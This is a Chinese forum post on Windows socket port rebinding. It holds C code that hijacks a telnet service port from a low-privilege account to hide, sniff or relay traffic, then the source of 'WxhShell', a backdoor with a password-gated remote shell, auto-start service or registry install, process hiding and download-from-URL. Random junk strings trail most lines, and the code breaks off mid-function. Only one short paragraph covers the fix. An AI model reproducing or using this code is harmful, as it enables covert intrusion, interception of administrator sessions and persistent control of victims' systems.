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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [6bK>w"v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zU+` o?al  
cVzOW|NVx  
  saddr.sin_family = AF_INET; mSWh'1]b.~  
fbbk;Rq.'3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pg}9baW?  
H8>u:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ar0y8>]3  
=h~\nTN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MDfE(cn2q  
/Z:\=0`  
  这意味着什么?意味着可以进行如下的攻击: D4:c)}  
w$JG:y#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IC-k  
0NY2Kw;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yDt3)fP#  
k^|P8v+"D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 it2@hZc5  
>L#HE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \O"EK~x}/  
/4\!zPPj.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7Y:~'&U|  
oGzZ.K3 A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H3=U|wr|  
S`LS/)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bDLPA27  
}gE?ms4$  
  #include O k-*xd  
  #include G22= 8V  
  #include 4v+4qyMyE  
  #include    ,0^:q)_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Td&w  
  int main() ^]He]FW':G  
  { M <3P  
  WORD wVersionRequested; XYbc1+C  
  DWORD ret; _)q,:g~fu  
  WSADATA wsaData; #,dE)  
  BOOL val; qTA@0fL  
  SOCKADDR_IN saddr; .Dw^'p>  
  SOCKADDR_IN scaddr; =K<8X!xUW  
  int err; J$)lYSNE  
  SOCKET s; C0\A  
  SOCKET sc; AiXxn'&i  
  int caddsize; zwAkXj  
  HANDLE mt; _kR,R"lh  
  DWORD tid;   ^Zh YW  
  wVersionRequested = MAKEWORD( 2, 2 ); * \@u,[,  
  err = WSAStartup( wVersionRequested, &wsaData ); jgLCs)=5hV  
  if ( err != 0 ) { r5!I|E  
  printf("error!WSAStartup failed!\n"); ;cBFft}D  
  return -1; Qt_LBJUWV  
  } D0?l$]aE  
  saddr.sin_family = AF_INET; 7` ^]:t  
   qMAH~P0u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z3K~C_0Cnu  
. bh>_ W_h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :tu_@3bg-  
  saddr.sin_port = htons(23); DkP%1Crdr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lNSB "S  
  { hP4*S^l  
  printf("error!socket failed!\n"); a7#J af  
  return -1; ?)9mHo^  
  } \lVX~r4  
  val = TRUE; I!y[7^R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9}`A_KzFx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1uTbN  
  { #D"fCVIS  
  printf("error!setsockopt failed!\n"); Wq!n8O1  
  return -1; kve{CO*  
  } ~ #Gu:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xF*C0B;QL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @0`Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lZTD>$  
2M>Y3Q2Yv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5b_[f(  
  { vb{+yEa  
  ret=GetLastError(); Z6<vLc  
  printf("error!bind failed!\n"); {0fQ"))"  
  return -1; n/_cJD \  
  } 0z g\thL  
  listen(s,2); '|r('CIBN/  
  while(1) 28L3"c  
  { PjEKZHHz  
  caddsize = sizeof(scaddr); gIR{!'  
  //接受连接请求 Yt"&8N]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~%9ofXy  
  if(sc!=INVALID_SOCKET) pPcn F`A  
  { #`6A}/@.+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h<oQ9zW)  
  if(mt==NULL) o6^^hc\  
  { "M*Pt  
  printf("Thread Creat Failed!\n"); +>N/q(l  
  break; B9;-Blh  
  } UOrf wK  
  } jP6;~[rl  
  CloseHandle(mt); 36D-J)-Z  
  } ;|v6^2H"  
  closesocket(s); X*Mw0;+T  
  WSACleanup(); v>TI.;{y  
  return 0; dB7E&"f  
  }   D/_=rAl1  
  DWORD WINAPI ClientThread(LPVOID lpParam) sa8Sy&X"  
  { ]p~QdUR(  
  SOCKET ss = (SOCKET)lpParam; C[:Q?LE  
  SOCKET sc; v~:$]a8  
  unsigned char buf[4096]; 3\6 UH  
  SOCKADDR_IN saddr; J;Az0[qMR  
  long num; #2c-@),  
  DWORD val; MjMPbGUX{  
  DWORD ret; =4 &/Pr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MT" 2^&R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &$fe%1#  
  saddr.sin_family = AF_INET; 94L P )n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KYY~ YP  
  saddr.sin_port = htons(23); #;'1aT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vkan+~H  
  { kStWsc$;+T  
  printf("error!socket failed!\n"); IMzhEm  
  return -1;  .Ev  i  
  } LV{a^!f`y  
  val = 100; 'sI=*c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hqVx%4s*J  
  { 6C>x,kU  
  ret = GetLastError(); :g/HN9  
  return -1; vyT$IdV2  
  } @"T_W(i;BI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v"Bv\5f,Ys  
  { v`B7[B4K3  
  ret = GetLastError(); b9HE #*d,  
  return -1; =rS z>l  
  } [vpZ3;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^1U2&S  
  { Vin d\yvM  
  printf("error!socket connect failed!\n"); uj_u j!  
  closesocket(sc); )Rla VAtM  
  closesocket(ss); eFvw9B+  
  return -1; 39?iX'*p  
  } uYiM~^ 0  
  while(1) E,5jY  
  { X""<5s'0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /kyuL]6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *iS<]y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G}mJtXT#=  
  num = recv(ss,buf,4096,0); N. 3 x[%:  
  if(num>0) z (rQ6  
  send(sc,buf,num,0); nm 66U4.@  
  else if(num==0) }NDw3{zn  
  break; |_HH[s*U  
  num = recv(sc,buf,4096,0); )DuOo83n["  
  if(num>0) ws4a(1  
  send(ss,buf,num,0); hRSRz5 J}  
  else if(num==0) t#oJr2  
  break; zzy%dc  
  } 3]0ETcT  
  closesocket(ss); MTBN&4[  
  closesocket(sc); GEy^*, d  
  return 0 ; 9>d$a2 nc  
  } g+p?J.+  
dkJ+*L5  
)El#Ks5u  
========================================================== axnkuP(  
71nXROB  
下边附上一个代码,,WXhSHELL XX~~SvSM  
Lm"l*j4  
========================================================== %1a\"F![  
hf>JW[>Xo  
#include "stdafx.h" U$6N-q  
w<N [K>  
#include <stdio.h> ~j",ePl  
#include <string.h> LnvC{#TFO  
#include <windows.h> s$J0^8Q~i  
#include <winsock2.h> L~SM#?z:ue  
#include <winsvc.h> HS]|s':  
#include <urlmon.h> 'x lK_Z  
95>(NwST4  
#pragma comment (lib, "Ws2_32.lib") #/!a=0  
#pragma comment (lib, "urlmon.lib") D#508{)  
nRN&u4  
#define MAX_USER   100 // 最大客户端连接数 B|gyr4]  
#define BUF_SOCK   200 // sock buffer %O>ehIerD  
#define KEY_BUFF   255 // 输入 buffer 8a|p`)lT  
s2riayM9/  
#define REBOOT     0   // 重启 v7T05  
#define SHUTDOWN   1   // 关机 #rqLuqw  
E"&fT!yi  
#define DEF_PORT   5000 // 监听端口 !6\{q M  
 #-1 ;  
#define REG_LEN     16   // 注册表键长度 M?x/C2|  
#define SVC_LEN     80   // NT服务名长度 B@G'6 ?  
bcC ;i~9  
// 从dll定义API V9NE kS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); & ,2XrXiFu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6<.Ma7)lA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >%x7-->IB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] 7_ f'M1F  
"zJ1vIZY  
// wxhshell配置信息 #g\O*oYaw  
struct WSCFG { ZJ'#XZpr  
  int ws_port;         // 监听端口 i]a0 "  
  char ws_passstr[REG_LEN]; // 口令 >`Gys8T  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q3u P7j  
  char ws_regname[REG_LEN]; // 注册表键名 XLz>h(w=  
  char ws_svcname[REG_LEN]; // 服务名 'J#u ;KJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h)7{Cj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -("sp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qk{2%,u$@{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Co&#mVY4,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <5rp$AzT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,IF3VE&r  
xCz(qR  
}; @~hiL(IR'  
yt}Ve6  m  
// default Wxhshell configuration x hBlv  
struct WSCFG wscfg={DEF_PORT, o( Yfnnuy  
    "xuhuanlingzhe", |jH- bm  
    1, A}?n.MAX>  
    "Wxhshell", [Nbs{f^J=  
    "Wxhshell", 2'Cwx-_G`  
            "WxhShell Service", -61{ MMiA  
    "Wrsky Windows CmdShell Service", w4P?2-kB  
    "Please Input Your Password: ", ER<LP@3k  
  1, 109dB$+$  
  "http://www.wrsky.com/wxhshell.exe", ?j9J6=2  
  "Wxhshell.exe" |N/Grk4  
    }; @?lmho?  
jU.z{(s  
// 消息定义模块 4<[,"<G~3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0F> ils  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #N9^C@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kN_ i0~y@-  
char *msg_ws_ext="\n\rExit."; :_V9Jwu  
char *msg_ws_end="\n\rQuit."; o.W:R Ux  
char *msg_ws_boot="\n\rReboot..."; 6RV42r^pf  
char *msg_ws_poff="\n\rShutdown..."; KK$t3e)  
char *msg_ws_down="\n\rSave to "; x`~YTOfYk  
djJD'JL  
char *msg_ws_err="\n\rErr!"; {~q"Y]?  
char *msg_ws_ok="\n\rOK!"; UgI0 *PE2  
qg1s]c~0u  
char ExeFile[MAX_PATH]; YbAa@Sq@  
int nUser = 0; |2t g3m@  
HANDLE handles[MAX_USER]; ,yc_r= _  
int OsIsNt; PJ}d-   
BV)o F2b:  
SERVICE_STATUS       serviceStatus; c IK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l@:Tw.+/9  
`R[cM; c2  
// 函数声明 BwOIdz%]OY  
int Install(void); q[?xf3  
int Uninstall(void); h;" 9.  
int DownloadFile(char *sURL, SOCKET wsh); 3 UUOB.  
int Boot(int flag); wr);+.T9R  
void HideProc(void); $O nh2 ^  
int GetOsVer(void); lRA=IRQ]  
int Wxhshell(SOCKET wsl); x -;tV=E}  
void TalkWithClient(void *cs); 5<64 C}fE3  
int CmdShell(SOCKET sock); %M)LC>c  
int StartFromService(void); |m{u]9  
int StartWxhshell(LPSTR lpCmdLine); H!SFSgAu  
h;TN$ /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [G!#y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xz,fjKUnN  
CghlyT  
// 数据结构和表定义 _:+hB9n s  
SERVICE_TABLE_ENTRY DispatchTable[] = e|-&h `[  
{ I9  (6  
{wscfg.ws_svcname, NTServiceMain}, i,V,0{$  
{NULL, NULL} m&MAA^I  
}; ^cDHC^Wm  
7q%xF#mK=  
// 自我安装 33},lNS|  
int Install(void) k\76`!B  
{ OsT|MX  
  char svExeFile[MAX_PATH]; B6kc9XG  
  HKEY key; =;Q:z^S  
  strcpy(svExeFile,ExeFile); 0Sj B&J  
!i>d04u`%  
// 如果是win9x系统,修改注册表设为自启动 \>$3'i=mQ  
if(!OsIsNt) { ]?G|:Kx$y%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kqkTz_r|H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {8* d{0l  
  RegCloseKey(key); (b;Kl1Ql]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q6'Q-e)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $c {fPFe-  
  RegCloseKey(key); [KL-T16  
  return 0; 6Ki!j<  
    } OKPNsN  
  } $35C1"  
} i!{A7mo  
else { bj6;>Ezp3(  
A?bqDy  
// 如果是NT以上系统,安装为系统服务 ?$K.*])e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9:E:3%%  
if (schSCManager!=0) c)3.AgT  
{ 1xEFMHjy  
  SC_HANDLE schService = CreateService $cW t^B'  
  ( R<B5<!+  
  schSCManager, #w3J+U 6r  
  wscfg.ws_svcname, efNscgi  
  wscfg.ws_svcdisp, k Nvb>v  
  SERVICE_ALL_ACCESS, G@KDRv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z/]]u.UP  
  SERVICE_AUTO_START, d#OAM;0}5  
  SERVICE_ERROR_NORMAL, PJ)l{c  
  svExeFile, "F =NDF  
  NULL, mW$Oi++'d  
  NULL, hVz] wKP  
  NULL, %JHv2[r^P  
  NULL, K {kd:pr  
  NULL OwT_W)$  
  ); nG";?TT  
  if (schService!=0) $%^](-  
  { 1c{m rsB  
  CloseServiceHandle(schService); EDz;6Z*4N  
  CloseServiceHandle(schSCManager); otdRz<C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c`/VYgcTqB  
  strcat(svExeFile,wscfg.ws_svcname); <(@Z#%O9)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y=4 7se=h"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -wrVEH8  
  RegCloseKey(key); q1q 9W@H  
  return 0; #IZ.px  
    } s1E 0atT  
  } PZQAlO,  
  CloseServiceHandle(schSCManager); [-VK! 9pQ  
} N,Z*d  
} /@|iI<|  
0 @!huk  
return 1; '#yqw%  
} 8 R%<~fq r  
4D2U,Ds  
// 自我卸载 5'NNwc\  
int Uninstall(void) KJV8y"^=Q  
{ 6}m`_d?  
  HKEY key; 8HFCmY#  
^8EW/$k  
if(!OsIsNt) { Y<|JhqOXK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _}Qtx/Cg  
  RegDeleteValue(key,wscfg.ws_regname); &ocuZ -5`  
  RegCloseKey(key); f] #\&"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;-8.~Sm  
  RegDeleteValue(key,wscfg.ws_regname); rH!sImz,  
  RegCloseKey(key); S9Oz5_x  
  return 0; '5 Yzo^R;  
  } u 3#+fn_  
} }3A~ek#*~  
} \?]U*)B.r  
else { jan}}7Dly  
;  ?f+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J{^md0l  
if (schSCManager!=0) ;YR /7  
{ 4/|x^Ky>G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @]%eL  
  if (schService!=0) J/'Fj?  
  { L~- /'+  
  if(DeleteService(schService)!=0) { l>K+4  
  CloseServiceHandle(schService); w") G:K  
  CloseServiceHandle(schSCManager); jhm/ <=  
  return 0; ( ne[a2%>  
  } w.w{L=p:<"  
  CloseServiceHandle(schService); 7H)$NG<U$  
  } S?d<P  
  CloseServiceHandle(schSCManager); QZ l#^-on  
} %h@1lsm1+  
} _i {Y0d+  
!nSa4U,$w<  
return 1; {6H[[7i  
} ,_u7@Ix  
,)Q-o2(C  
// 从指定url下载文件 O3@DU#N&s  
int DownloadFile(char *sURL, SOCKET wsh) 0TmEa59P  
{ 86OrJdD8  
  HRESULT hr; It[51NMal  
char seps[]= "/"; ^AH[]sE_  
char *token; -}%J3j|R:  
char *file; uK@d?u!`  
char myURL[MAX_PATH]; q13fmK(n-5  
char myFILE[MAX_PATH]; AOZ C D{  
D+3?p  
strcpy(myURL,sURL); UON=7}=$&  
  token=strtok(myURL,seps); 3W7^,ir  
  while(token!=NULL) Nu6NyYs  
  { OM[MRZEh G  
    file=token; =$J(]KPv!?  
  token=strtok(NULL,seps); h p|v?3(  
  } zG#5lzIu,  
D!~ Y"4<  
GetCurrentDirectory(MAX_PATH,myFILE); h.X4x2(.  
strcat(myFILE, "\\"); @e)}#kN.  
strcat(myFILE, file); N1ipK9a  
  send(wsh,myFILE,strlen(myFILE),0); #SHeK 4  
send(wsh,"...",3,0); 3:x(2 A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2'?'dfj  
  if(hr==S_OK) =:&xdphZ+  
return 0; ZRxOXt&;  
else pJ] Ix *M  
return 1; \EfX3ghPI  
lD,2])>  
} S?0o[7(x*  
BTkx}KK  
// 系统电源模块 2%pED xui  
int Boot(int flag) O=2|'L'h!  
{ ",b:rgpRp  
  HANDLE hToken; w ~*@TG  
  TOKEN_PRIVILEGES tkp; M1kA-Xr  
v1:.t  
  if(OsIsNt) { XR+ SjCA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P1mg;!tq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3NpB1lgh&:  
    tkp.PrivilegeCount = 1; Wzl/ @CPM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U>PZ3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e#C v*i_<  
if(flag==REBOOT) { XGSFG ~d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z By%=)`  
  return 0; ]rlZP1".  
} lMY\8eobcB  
else { 6iU&9Z<%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~tp]a]yV  
  return 0; #kC~qux^  
} |o5eG><  
  } $wUYK%.  
  else { Pm/<^z%  
if(flag==REBOOT) { o'DtW#F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X"{%,]sb G  
  return 0; *O_fw 0jV  
} JH.XZM&  
else { ['mpxtG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xk,Uf,,>  
  return 0; << 6 GE  
} tRoSq;VrS  
} Z@Rm^g]o  
(K[{X0T  
return 1; %> XsKXj  
} qd0G sr}j  
1bV G%N  
// win9x进程隐藏模块 Nh!`"B2B  
void HideProc(void) `jE[Xt"@  
{ S\:^#Yi`  
7:UeE~ uB:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e@h{Ns.1-  
  if ( hKernel != NULL ) ^OY$ W  
  { J||g(+H>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,l>w9?0Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )O[8 D  
    FreeLibrary(hKernel); { I{ 0rV  
  } Lvf<g}?4  
(@^9oN~}  
return; fV"Y/9}(  
} mV^w|x  
31G:[;g  
// 获取操作系统版本 8>C4w 5kF  
int GetOsVer(void) :qo[@x{  
{ q'jOI_b  
  OSVERSIONINFO winfo; n5QO'Jr%[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :BxO6@>Xc  
  GetVersionEx(&winfo); )?jFz'<r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F8w7N$/V",  
  return 1; B!&5*f}*  
  else VD.TosVeWo  
  return 0; I$"Z\c8;  
} |<{SSA  
I "x'  
// 客户端句柄模块 0/ QDfA?  
int Wxhshell(SOCKET wsl) L\4rvZa  
{  hlVC+%8  
  SOCKET wsh; U 4d7-&U  
  struct sockaddr_in client; 5]i#l3")  
  DWORD myID; = o(}=T>:"  
7#)k-S!B  
  while(nUser<MAX_USER) _h1bVd-  
{ X0j\nXk  
  int nSize=sizeof(client); /o4_rzR?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'wPX.h?  
  if(wsh==INVALID_SOCKET) return 1; k)knyEUi  
1XN%&VR>^D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i7dDklj4  
if(handles[nUser]==0) /[6wm1?!  
  closesocket(wsh); IEm?'o:  
else )nHMXZ>Td  
  nUser++; TY]0aw2]|7  
  } 4s m [y8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f?Ex$gnI  
"pt[Nm76)8  
  return 0; b#7nt ?`7p  
} m& AbH&;  
3~`\FuHHe  
// 关闭 socket UL ew ~j  
void CloseIt(SOCKET wsh) 6%EpF;T`  
{ Gh_5$@ hF  
closesocket(wsh); ,% yC4  
nUser--; q!&:y7O8  
ExitThread(0); <2*+Y|Lk2  
}  e$  
Cdl"TZ<  
// 客户端请求句柄 T72Li"00  
void TalkWithClient(void *cs) ~a=]w#-KD  
{ L e~D"d8  
tqA-X[^  
  SOCKET wsh=(SOCKET)cs; <> =(BAw  
  char pwd[SVC_LEN]; ]@SEOc@ j  
  char cmd[KEY_BUFF]; }Bh\N 5G%  
char chr[1]; *)r_Y|vg  
int i,j; Iv7BIK^0  
d >M0:  
  while (nUser < MAX_USER) { /_<_X 7  
!6.LSY,E  
if(wscfg.ws_passstr) { QdZHIgh`i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `iuQ.I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fpNq  
  //ZeroMemory(pwd,KEY_BUFF); o)\EfPT  
      i=0; ,DKW_F|  
  while(i<SVC_LEN) { 6mZpyt  
e,vgD kI;  
  // 设置超时 ;rJ#>7K  
  fd_set FdRead; YbVZK4  
  struct timeval TimeOut; 7B _Wz9y  
  FD_ZERO(&FdRead); ~O;?;@  
  FD_SET(wsh,&FdRead); N}bZdE9F  
  TimeOut.tv_sec=8; N*w{NB7L  
  TimeOut.tv_usec=0; ku v<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MoC/xF&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yOjTiVQ9  
pv|D{39Hs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uN9.U  _  
  pwd=chr[0]; _#UhXXD  
  if(chr[0]==0xd || chr[0]==0xa) { !Je!;mEvI  
  pwd=0; Z;U\h2TY  
  break; 9 LEUj  
  } i#lO{ ]  
  i++; o AS 'Z|  
    } ilj9&.isB  
,J-YfL^x6*  
  // 如果是非法用户,关闭 socket $_Lcw"xO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i V%tn{fc  
} 3Z)vJC9'  
( (mNB]sy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +QrbW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Se5jxV  
d 7QWK(d  
while(1) { bO{wQ1)Z_  
zI>,A|yy  
  ZeroMemory(cmd,KEY_BUFF); _{gRCR)  
0Z[8d0  
      // 自动支持客户端 telnet标准   dJg72?"ka  
  j=0; T xwZ3E  
  while(j<KEY_BUFF) { R75np^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;fDs9=3#  
  cmd[j]=chr[0]; W[W}:@KZ  
  if(chr[0]==0xa || chr[0]==0xd) { 4[]4KKO3Q2  
  cmd[j]=0; FZtIC77X5  
  break; ~4tu*\P  
  }  t"'aQr  
  j++; aq,?  
    } =:=uV0jX\  
SfwAMNCe  
  // 下载文件 D7x"P-ie  
  if(strstr(cmd,"http://")) { *9Nq^+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6d3-GMUQ  
  if(DownloadFile(cmd,wsh)) :u53zX[v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -d 6B;I<'  
  else Ey;uaqt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D@>^_cTO24  
  } "o[j'  
  else { }%9A+w}o  
J;g+  
    switch(cmd[0]) { EWg\\90  
  wg=ge]E5  
  // 帮助 7.l[tKh  
  case '?': { r6`v-TY(/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9q -9UC!g  
    break; h>+,ba"D  
  } xV4 #_1(  
  // 安装 >{^&;$G+*  
  case 'i': { Og`w~!\  
    if(Install()) Q_F8u!qrZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +mN]VO*y  
    else =q( ;g]e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tQ:)j^\  
    break; 1/YWDxo,  
    } l(@UpV-  
  // 卸载 O#E]a<N`  
  case 'r': { Y\ len  
    if(Uninstall()) C0X_t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {`vF4@  
    else K -!YD}OF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  IR,`-  
    break; MGd 7Ont  
    } G:QaWqUb  
  // 显示 wxhshell 所在路径 T,,,+gPx  
  case 'p': { !K#Q[Ee  
    char svExeFile[MAX_PATH]; ([='LyH];z  
    strcpy(svExeFile,"\n\r"); CCOd4  
      strcat(svExeFile,ExeFile); Tt.wY=,K  
        send(wsh,svExeFile,strlen(svExeFile),0); Q&;dXE h  
    break; 3eqnc),Z  
    } Lmx95[#@a  
  // 重启 %SL'X`j  
  case 'b': { N246RV1W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +^ n\?!  
    if(Boot(REBOOT)) jiMI&cl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8o-*s+EY"&  
    else { 0 V:z(r  
    closesocket(wsh); oO-kO!59y  
    ExitThread(0); JB~79Lsdz  
    } j_VTa/  
    break; G/Nb@pAy[  
    } A"8` 5qa  
  // 关机 o/bmS57  
  case 'd': { y{ReQn3> y  
